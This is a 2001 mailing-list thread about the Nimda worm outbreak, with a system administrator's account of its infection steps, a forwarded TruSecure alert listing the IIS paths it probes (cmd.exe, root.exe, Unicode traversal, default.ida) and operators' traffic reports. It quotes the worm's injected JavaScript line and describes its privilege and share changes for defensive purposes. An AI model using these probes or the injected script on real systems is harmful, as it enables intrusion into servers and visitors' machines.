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Re: FW: Worm probes
From: Jim Olsen <jim () cyberjunkees com>
Date: Tue, 18 Sep 2001 14:03:52 -0400


This is the information i've collected thus far on W32.nimda:

W32.nimda is NOT a code red variant, and the people who referring to it as 
"Code Blue" were mistaken...

The name it has been given (at least by TruSecure) is W32.nimda.a.mm. It uses 
several vulnerabilities in Windows NT and 2000 server's to infect a server, 
and also employ's email and web site mobile code to infect Windows 
9x/ME/NT/2k boxes.

During the initial infection of a server, the worm does the following:
        - download a file named "admin.dll" via tftp from the system that is 
trying to infect the target
        - add the guest account to the local administrators group and 
activates the account
        - makes sure c$ is shared out
        - copies itself to c, d, and e drives
        - tries to mail itself to email addresses that it discovers on the 
server
        - creates a file named readme.exe, which is used in the mobile code 
inserted on the web sites below
        - add this string to the web pages found on the server:
<html><script language="JavaScript">window.open("readme.eml", null, 
"resizable=no,top=6000,left=6000")</script></html>
        - scans for and infects other vulnerable IIS servers
        - goes through all shared directories and puts sample.nws, 
sample.eml, desktop.eml, desktop.nws in each directory. these are eml 
messages with copies of itself (readme.exe) autoloaded by the mobile html 
code mentioned above. 
        - goes through all shared directories and puts riched20.dll in each 
directory, which is a trogan dll version of W32.nimda that is meant to 
infect people running notepad/wordpad in that directory.
        - puts a trojan mmc.exe in the winnt directory that is a copy of 
itself in the above "readme.exe" format (win2000 only)

If a user views a web site that is hosted on an infected server, the 
following happens:
        - upon viewing an infected page, the mobile code extracts to 
readme.exe and starts in windows media player (without user intervention)
        - the user's machine becomes infected with W32.nimda at this point 
and time
        - the worm starts scanning for other vulnerable IIS servers
        - the worm emails itself to everyone on the user's address book
        - goes through all shared directories and puts sample.nws, 
sample.eml, desktop.eml, desktop.nws in each directory. these are eml 
messages with copies of itself (readme.exe) autoloaded by the mobile html 
code mentioned above. 
        - goes through all shared directories and puts riched20.dll in each 
directory, which is a trogjan dll version of W32.nimda that is meant to 
infect people running notepad/wordpad in that directory.
        - puts a trojan mmc.exe in the winnt directory that is a copy of 
itself in the above "readme.exe" format (win2000 only)

It us unknown to me what happens (at this point in time) if a user opens an 
attachment that is sent from an infected site. It is possible that it could 
automatically infect the user's computer using the same methods mentioned 
above.

EVERYONE who uses internet explorer to browse the internet should probably do 
one of two things to stop from being automatically infected by W32.nimda (i 
have not tested whether or not turning off javascript fixes the problem):
        o) don't browse web pages until microsoft releases a patch
        o) turn OFF javascript

EVERYONE who uses outlook/outlook express should, at the very least, not open 
any attachments that they are not expecting. Turning off auto-preview might 
be a good idea as well.

Slashdot has an article discussing this:
http://slashdot.org/articles/01/09/18/151203.shtml

On Tuesday 18 September 2001 11:33, Braun, Mike wrote:
I received this warning from TruSecure regarding the latest worm attack.

Mike Braun
First American CREDCO

-----Original Message-----
TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

Date: September 18, 2001
Time:  1000 EDT

RISK INDICES:

Initial Assessment: RED HOT

Threat: VERY HIGH, (rapidly increasing)

Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0,
5.0, and internal networks.

Cost: High, command execution is possible

Vulnerable Systems:  IIS 4.0 and 5.0

SUMMARY:
A new IIS worm is spreading rapidly.  Its working name is Nimda:
W32.nimda.a.mm

It started about 9am eastern time today, Tuesday,September 18, 2001,
Mulitple sensors world-wide run by TruSecure corporation are getting
multiple hundred hits per hour. And began at 9:08am am.

The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for
multiple vulnerabilities including:

Almost all are get scripts, and a get msadc (cmd.exe)
get_mem_bin
vti_bin  owssvr.dll
Root.exe
CMD.EXE
../  (Unicode)
Getadmin.dll
Default.IDA
/Msoffice/  cltreq.asp

This is not code red or a code red variant.

The worm, like code red attempts to infect its local sub net first,
then spreads beyond the local address space.

It is spreading very rapidly.

TruSecure  believes that this worm will infect any IIS 4 and IIS 5
box with well known vulnerabilities.  We believe that there are
nearly 1Million such machines currently exposed to the Internet.

Risks Indices:
Vulnerability   VULNERABILITY  PREVALANCE is very high - Milllions of
Internet Web server hosts:   TruSecure process and essential
configurations should generally be protective.  The vulnerability
prevalence world-wide is very high

Threat - VERY HIGH and Growing The rate of growth and spread is
exceedingly rapid - significantly faster than any worm to date and
significantly faster than any variant of Code red.

Cost --  Unknown, probably moderate per infected system.


The worm itself is a file called
README.EXE, or ADMIN.DLL
a 56K file which is advertised as an audio xwave mime type file.

Other RISKS:
There is risk of DOS of network segments by traffic volume alone
There is large risk of successful attack to both Internet exposed IIS
boxes and to developer and Intranet boxes inside of corporations.

Judging by the Code Red II experience, we expect many subtle routes
of infection leading to inside corporate infections.

We cannot discount the coincidence of the date and time of release,
exactly one week to (probably to the minute) as the World Trade
Center attack .


REPLICATION:
There are at least three mechanisms of spread:
The worm seems to spread both by a direct IIS across Internet (IP
spread)
It probably also spreads by local shares.  (this is not known for
sure at this time)
There is also an email vector where README.EXE is sent via email to
numerous accounts.

Mitigations
TruSecure essential practices should work.
Block all email with EXE attachments
Filter for README.EXE
Make sure IIS boxes are well patched and hardened, or removed from
both the Internet and Intranets.
Make sure any developer computing platforms are not running IIS of
any version (many do so by default if either.
Disconnect mail from the Internet
Advise users not to double click on any unexpected attachments.
Update anti-virus when your vendor has the signature.


-----Original Message-----
From: Bryan Heitman [mailto:bryanh () communitech net]
Sent: Tuesday, September 18, 2001 8:22 AM
To: nanog () merit edu
Subject: Re: Worm probes



We're also seeing a large increase in this activity.  This seems to be more
severe than the first time.  Have an additional 30 to 40 meg inbound from
this.

Best regards,


Bryan Heitman
CommuniTech.Net, Inc.
----- Original Message -----
From: <up () 3 am>
To: <nanog () merit edu>
Sent: Tuesday, September 18, 2001 10:05 AM
Subject: Re: Worm probes

ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k
box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this
time of day, although still well short of capacity...apache server
processor load is WAY up just from the requests, and the logs are growing
like mad.

On Tue, 18 Sep 2001, deeann mikula wrote:
On Tue, 18 Sep 2001, ravi pina wrote:
On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma () pair com said at one

point in time:
Has anyone else been seeing a dramatic increase in /scripts/.. NT

worm

probes this morning?  We're seeing about 8000/second, starting

around 9:15

Eastern time, to and from a wide variety of addresses.

affirmative.  i just looked at my logs, and it looks like
each probe tries a bunch of things.  i haven't seen much
on the lists, but i'm looking right now.

i'm pretty sure that the worm's attack phase starts on the 20th (which
of course, depends upon a correctly set system clock) and also that
attempting to execute something like /scripts/root.ext/c++ something
is involved.

i think that cert's website would be a good place to look.  i'm *not*
a security/virus chick, but i did host a talk by marty linder of cert
where he discected code red's activity and presented a summary.

cert is of course, http://www.cert.org.


deeann m.m. mikula

director of operations
telerama public access internet
http://www.telerama.com
1.877.688.3200

James Smallacombe       PlantageNet, Inc. CEO and Janitor
up () 3 am     http://3.am
=========================================================================

"MMS <firstam.com>" made the following
 annotations on 09/18/01 08:34:15
---------------------------------------------------------------------------
--- "THIS E-MAIL MESSAGE AND ANY FILES TRANSMITTED HEREWITH, ARE INTENDED
SOLELY FOR THE USE OF THE INDIVIDUAL(S) ADDRESSED AND MAY CONTAIN
CONFIDENTIAL, PROPRIETARY OR PRIVILEGED INFORMATION.  IF YOU ARE NOT THE
ADDRESSEE INDICATED IN THIS MESSAGE (OR RESPONSIBLE FOR DELIVERY OF THIS
MESSAGE TO SUCH PERSON) YOU MAY NOT REVIEW, USE, DISCLOSE OR DISTRIBUTE
THIS MESSAGE OR ANY FILES TRANSMITTED HEREWITH.  IF YOU RECEIVE THIS
MESSAGE IN ERROR, PLEASE CONTACT THE SENDER BY REPLY E-MAIL AND DELETE THIS
MESSAGE AND ALL COPIES OF IT FROM YOUR SYSTEM."

===========================================================================
===

-- 
"Computer games don't affect kids, I mean if Pacman affected us as kids, 
we'd all be running around in darkened rooms, munching pills, and listening 
to repetitive music." ~unknown
****
Jim Olsen
Systems Administrator
CyberJunkees
****


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